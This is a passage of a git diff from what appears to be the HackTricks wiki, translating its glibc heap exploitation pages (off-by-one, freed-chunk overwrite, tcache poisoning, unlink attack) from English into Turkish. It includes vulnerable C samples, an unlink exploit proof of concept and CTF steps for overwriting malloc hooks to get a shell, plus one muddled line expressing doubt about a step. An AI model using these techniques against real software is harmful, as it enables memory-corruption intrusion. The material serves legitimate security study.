You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### Diğer örnekler
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) adresinde göründüğü gibi aynı durumda büyük bin saldırısı.
- Yazma primi daha karmaşıktır, çünkü `global_max_fast` burada işe yaramaz.
- İstismarı tamamlamak için FSOP gereklidir.
{{#include ../../banners/hacktricks-training.md}}

146
src/binary-exploitation/libc-heap/off-by-one-overflow.md
View File

@ -2,114 +2,112 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
Sadece 1B taşma erişimine sahip olmak, bir saldırganın bir sonraki parça için `size` alanını değiştirmesine olanak tanır. Bu, hangi parçaların gerçekten serbest bırakıldığını manipüle etmeyi sağlar ve potansiyel olarak başka bir geçerli parçayı içeren bir parça oluşturabilir. Sömürü, [double free](double-free.md) veya üst üste binen parçalarla benzerdir.
There are 2 types of off by one vulnerabilities:
İki tür off by one zafiyeti vardır:
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- Keyfi byte: Bu tür, o byte'ı herhangi bir değerle yazmayı sağlar.
- Null byte (off-by-null): Bu tür, o byte'ı yalnızca 0x00 ile yazmayı sağlar.
- Bu zafiyetin yaygın bir örneği, `strlen` ve `strcpy` davranışlarının tutarsız olduğu aşağıdaki kodda görülebilir; bu, bir sonraki parçanın başında 0x00 byte'ı ayarlamaya olanak tanır.
- Bu, [House of Einherjar](house-of-einherjar.md) ile sömürülebilir.
- Tcache kullanılıyorsa, bu bir [double free](double-free.md) durumuna dönüştürülebilir.
<details>
<summary>Off-by-null</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
Diğer kontrollerin yanı sıra, artık bir parça serbest bırakıldığında, önceki boyut, meta verilerin parçasında yapılandırılan boyutla karşılaştırılmaktadır; bu da bu saldırıyı 2.28 sürümünden itibaren oldukça karmaşık hale getirmektedir.
### Code example:
### Kod örneği:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- Bu saldırı artık Tcaches kullanımı nedeniyle çalışmamaktadır.
- Ayrıca, daha büyük parçaları kullanarak bunu kötüye kullanmaya çalışırsanız (bu durumda tcaches dahil değildir), `malloc(): invalid next size (unsorted)` hatasını alırsınız.
### Goal
### Amaç
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- Bir parçanın başka bir parçanın içinde yer almasını sağlamak, böylece o ikinci parça üzerindeki yazma erişimi, içeridekini geçersiz kılmayı sağlar.
### Requirements
### Gereksinimler
- Off by one overflow to modify the size metadata information
- Boyut meta verisi bilgisini değiştirmek için off by one overflow.
### General off-by-one attack
### Genel off-by-one saldırısı
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- Üç parça `A`, `B` ve `C` (örneğin boyut 0x20) ayırın ve üst parça ile birleştirmeyi önlemek için başka bir parça ayırın.
- `C` parçasını serbest bırakın (0x20 Tcache serbest listeye eklenmiştir).
- `A` parçasını `B` üzerinde taşmak için kullanın. Off-by-one'ı kötüye kullanarak `B`'nin `size` alanını 0x21'den 0x41'e değiştirin.
- Artık `B`, serbest parça `C`'yi içermektedir.
- `B`'yi serbest bırakın ve 0x40 boyutunda bir parça ayırın (buraya tekrar yerleştirilecektir).
- Hala serbest olan `C`'nin `fd` işaretçisini değiştirebiliriz (Tcache zehirlenmesi).
### Off-by-null attack
### Off-by-null saldırısı
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- 3 bellek parçası (a, b, c) ardışık olarak ayrılır. Ardından ortadaki parça serbest bırakılır. İlk parça bir off by one overflow açığı içerir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki byte 0x10 olsaydı, ortadaki parça gerçekte olduğundan 0x10 daha küçük olduğunu gösterirdi).
- Ardından, ortada serbest bırakılan parçaya (b) 2 tane daha küçük parça ayrılır, ancak `b + b->size` asla c parçasını güncellemez çünkü işaret edilen adres olması gerekenin altındadır.
- Ardından, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'ye (şimdi b1) işaret ettiğinden, her ikisi de tek bir parçada birleştirilir. Ancak, b2 hala b1 ve c arasında kalır.
- Son olarak, bu bellek alanını geri almak için yeni bir malloc gerçekleştirilir; bu alan aslında b2'yi içerecek ve yeni malloc'un sahibi b2'nin içeriğini kontrol edebilecektir.
This image explains perfectly the attack:
Bu resim saldırıyı mükemmel bir şekilde açıklamaktadır:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- `strlen`'in bir sonraki parçanın `size` alanını dikkate alması nedeniyle off-by-one.
- Tcache kullanılıyor, bu nedenle genel bir off-by-one saldırısı, Tcache zehirlenmesi ile keyfi yazma ilkesini elde etmek için çalışır.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- Off by one'ı, bir adresi heap'ten sızdırmak için kötüye kullanmak mümkündür çünkü bir dizeyi geçersiz kılarken sonundaki 0x00 byte'ı bir sonraki alan tarafından geçersiz kılınır.
- Keyfi yazma, işaretçiyi başka bir yere işaret edecek şekilde off by one yazmayı kötüye kullanarak elde edilir; burada sahte işaretçilerle sahte bir yapı oluşturulacaktır. Ardından, bu yapının işaretçisini takip ederek keyfi yazma elde etmek mümkündür.
- libc adresi sızdırılır çünkü heap mmap kullanılarak genişletildiğinde, mmap tarafından tahsis edilen bellek libc'den sabit bir ofsetle gelir.
- Son olarak, keyfi yazma, `__free_hook` adresine bir gadget ile yazmak için kötüye kullanılır.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- Kullanıcı girişi satırlarını okuyan `getline` fonksiyonunda bir NULL off by one açığı vardır. Bu fonksiyon, içeriğin "anahtarını" okumak için kullanılır, içeriği değil.
- Yazımda 5 başlangıç parçası oluşturulur:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- üst parça ile birleştirmeyi önlemek için parça savunması (0x400)
- Ardından parça 1, 5 ve 3 serbest bırakılır, böylece:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Ardından, chunk3 (0x1f8) kötüye kullanılarak null off-by-one, `prev_size`'i `0x4e0` olarak yazmak için kötüye kullanılır.
- Başlangıçta tahsis edilen chunk1, 2, 5 ve 3'ün boyutlarının yanı sıra bu parçaların 4 başlıklarının toplamının `0x4e0`'a eşit olduğunu not edin: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Ardından, parça 4 serbest bırakılır ve başlangıca kadar tüm parçaları tüketen bir parça oluşturur:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Ardından, `0x200` byte ayrılır ve orijinal parça 1 doldurulur.
- Ve başka bir 0x200 byte ayrılır ve chunk2 yok edilir, bu nedenle hiçbir sızıntı yoktur ve bu çalışmaz mı? Belki de bu yapılmamalı.
- Ardından, 0x58 "a" ile başka bir parça ayrılır (chunk2'yi geçersiz kılar ve chunk5'e ulaşır) ve chunk5'in hızlı bin parçasının `fd`'sini `__malloc_hook`'a işaret edecek şekilde değiştirir.
- Ardından, 0x68 boyutunda bir parça ayrılır, böylece `__malloc_hook` içindeki sahte hızlı bin parçası bir sonraki hızlı bin parçası olur.
- Son olarak, 0x68 boyutunda yeni bir hızlı bin parçası ayrılır ve `__malloc_hook` bir `one_gadget` adresi ile geçersiz kılınır.
{{#include ../../banners/hacktricks-training.md}}

20
src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# Serbest bırakılmış bir parçayı üst üste yazma
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
Önerilen yığın istismar tekniklerinin birçoğu, serbest bırakılmış parçalardaki işaretçileri üst üste yazabilme yeteneğine ihtiyaç duyar. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir:
### Simple Use After Free
### Basit Kullanım Sonrası Serbest Bırakma
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
Saldırganın **serbest bir parçaya bilgi yazması** mümkünse, bunu gerekli işaretçileri üst üste yazmak için kötüye kullanabilir.
### Double Free
### Çift Serbest Bırakma
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
Eğer saldırgan **aynı parçayı iki kez `free`** edebilirse (potansiyel olarak araya başka parçalar serbest bırakılarak) ve bu parçayı **aynı kutuya 2 kez ekleyebilirse**, kullanıcı **parçayı daha sonra ayırabilir**, **gerekli işaretçileri yazabilir** ve ardından **tekrar ayırabilir**, bu da parçanın ayrılma eylemlerini tetikler (örneğin, hızlı kutu saldırısı, tcache saldırısı...)
### Heap Overflow
### Yığın Taşması
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
**Serbest bırakılmış bir parçanın yanında ayrılmış bir parçayı taşmak** mümkün olabilir ve bunun bazı başlıklarını/işaretçilerini değiştirebilir.
### Off-by-one overflow
### Bir fazladan taşma
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
Bu durumda, bellek içindeki bir sonraki parçanın **boyutunu değiştirmek** mümkün olacaktır. Bir saldırgan bunu **ayrılmış bir parçanın daha büyük bir boyuta sahip olmasını sağlamak** için kötüye kullanabilir, ardından **`free`** edebilir, bu da parçanın **farklı bir boyutun** kutusuna eklenmesine neden olur (daha büyük), ardından **sahte boyutu** ayırabilir ve saldırı, gerçekten olduğundan **daha büyük bir boyuta sahip bir parçaya** erişim sağlayacaktır, bu da **üst üste binen parçalar durumu** oluşturur, bu da **yığın taşması** ile aynı şekilde istismar edilebilir (önceki bölüme bakın).
{{#include ../../banners/hacktricks-training.md}}

48
src/binary-exploitation/libc-heap/tcache-bin-attack.md
View File

@ -2,46 +2,46 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
For more information about what is a Tcache bin check this page:
Tcache bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
Öncelikle, Tcache'in Glibc sürüm 2.26'da tanıtıldığını unutmayın.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
**Tcache saldırısı** (aynı zamanda **Tcache zehirlenmesi** olarak da bilinir) [**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) önerilen, bir hızlı bin saldırısına çok benzer; burada amaç, serbest bırakılmış bir parçadaki bin içindeki bir sonraki parçanın işaretçisini rastgele bir adrese yazmaktır, böylece daha sonra **o belirli adresi ayırmak ve potansiyel olarak işaretçileri yazmak** mümkündür.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
Ancak, günümüzde, belirtilen kodu çalıştırırsanız, **`malloc(): unaligned tcache chunk detected`** hatasını alırsınız. Bu nedenle, yeni işaretçide yazılacak adresin hizalanmış bir adres olması gerekmektedir (veya yazılan adresin gerçekten hizalanmış olması için ikiliyi yeterince kez çalıştırmak).
### Tcache indexes attack
### Tcache indeksleri saldırısı
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
Genellikle, yığın başlangıcında tcache içindeki **indeks başına parça sayısını** ve **her tcache indeksinin baş parçasının adresini** içeren bir parça bulmak mümkündür. Eğer bu bilgiyi değiştirmek mümkün olursa, **bazı indekslerin baş parçasını istenen bir adrese** (örneğin `__malloc_hook`) işaret edecek şekilde ayarlamak mümkün olacaktır, böylece indeks boyutunda bir parça ayırabilir ve bu durumda `__malloc_hook` içeriğini yazabiliriz.
## Examples
## Örnekler
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Libc bilgi sızıntısı**: Tcache'leri doldurmak, düzensiz listeye bir parça eklemek, tcache'i boşaltmak ve **düzensiz bin'den parçayı yeniden ayırmak** mümkündür; sadece ilk 8B'yi yazarak, parçanın **ikinci adresini libc'den sağlam tutarak okuyabiliriz**.
- **Tcache saldırısı**: İkili, 1B yığın taşması için savunmasızdır. Bu, bir ayrılmış parçanın **boyut başlığını** değiştirerek daha büyük hale getirmek için kullanılacaktır. Ardından, bu parça **serbest bırakılacak**, sahte boyutun tcache'ine eklenecektir. Sonra, sahte boyutta bir parça ayıracağız ve önceki parça **bu parçanın aslında daha küçük olduğunu bilerek dönecektir** ve bu, **bellekteki bir sonraki parçayı yazma fırsatını sağlar**.\
Bunu, **bir sonraki parçanın FD işaretçisini** **`malloc_hook`**'a işaret edecek şekilde yazmak için kullanacağız, böylece iki işaretçi ayırmak mümkün olacaktır: önce değiştirdiğimiz geçerli işaretçi, ardından ikinci ayırma **`malloc_hook`**'ta bir parça döndürecektir; bu, bir **one gadget** yazmak için istismar edilebilir.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Libc bilgi sızıntısı**: Bir serbest bırakma sonrası kullanım ve çift serbest bırakma vardır. Bu yazımda yazar, küçük bir bin içinde yer alan bir parçanın adresini okuyarak libc'nin bir adresini sızdırdı (düzensiz bin'den sızdırmak gibi ama küçük olanından).
- **Tcache saldırısı**: Bir Tcache, **çift serbest bırakma** yoluyla gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, ayrılır, FD işaretçisi **serbest bırakma kancası**'na işaret edecek şekilde değiştirilir ve sonra tekrar ayrılır, böylece listedeki bir sonraki parça serbest bırakma kancasında olacaktır. Ardından, bu da ayrılır ve burada `system` adresini yazmak mümkündür, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir shell alırız.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- Buradaki ana zafiyet, yığın içinde herhangi bir adresi `free` etme kapasitesidir; ofsetini belirterek.
- **Tcache indeksleri saldırısı**: Tcache parça bilgisi içinde depolandığında, **0x100 değeri ile bir adres** üretecek bir boyutta bir parça ayırmak ve serbest bırakmak mümkündür. Bu, tcache'in her bin içindeki parça sayısını farklı baytlarda depolamasından kaynaklanmaktadır; bu nedenle, belirli bir indekste bir parça 0x100 değerini üretir.
- Ardından, bu değer, 0x100 boyutunda bir parça varmış gibi görünür. Bu, bu adresi `free` ederek istismar etmeyi sağlar. Bu, **o adresi tcache'deki 0x100 boyutundaki parçaların indeksine ekleyecektir**.
- Sonra, **0x100 boyutunda** bir parça **ayırarak**, önceki adres bir parça olarak dönecek ve diğer tcache indekslerini yazmayı sağlayacaktır.\
Örneğin, malloc kancası adresini bunlardan birine koymak ve o indeksin boyutunda bir parça ayırmak, calloc kancasında bir parça almayı sağlayacak; bu da bir one gadget yazmayı mümkün kılacaktır ve bir shell almayı sağlar.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- Öncekiyle aynı zafiyet, ancak bir ekstra kısıtlama ile.
- **Tcache indeksleri saldırısı**: Öncekiyle benzer bir saldırı, ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adım kullanarak gerçekleştirilir; böylece adresi kendi boyutunun tcache indeksine eklenir, böylece o boyutu ayırmak ve tcache parça bilgilerini bir parça olarak almak mümkündür; bu, serbest bırakma kancasını bir indeksin adresi olarak eklemeyi, ayırmayı ve üzerine bir one gadget yazmayı sağlar.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- `fd` işaretçisine bir sayı eklemek için **Write After Free**.
- Bu zorlukta çok fazla **heap feng-shui** gereklidir. Yazım, **Tcache** serbest liste başını kontrol etmenin oldukça kullanışlı olduğunu göstermektedir.
- `stdout` üzerinden **Glibc sızıntısı** (FSOP).
- **Tcache zehirlenmesi** ile rastgele bir yazma ilkesine ulaşmak.
{{#include ../../banners/hacktricks-training.md}}

150
src/binary-exploitation/libc-heap/unlink-attack.md
View File

@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
Bu saldırı keşfedildiğinde çoğunlukla bir WWW (Write What Where) sağlıyordu, ancak bazı **kontroller eklendi** ve saldırının yeni versiyonu daha ilginç, daha karmaşık ve **işe yaramaz** hale geldi.
### Code Example:
### Kod Örneği:
<details>
<summary>Code</summary>
<summary>Kod</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
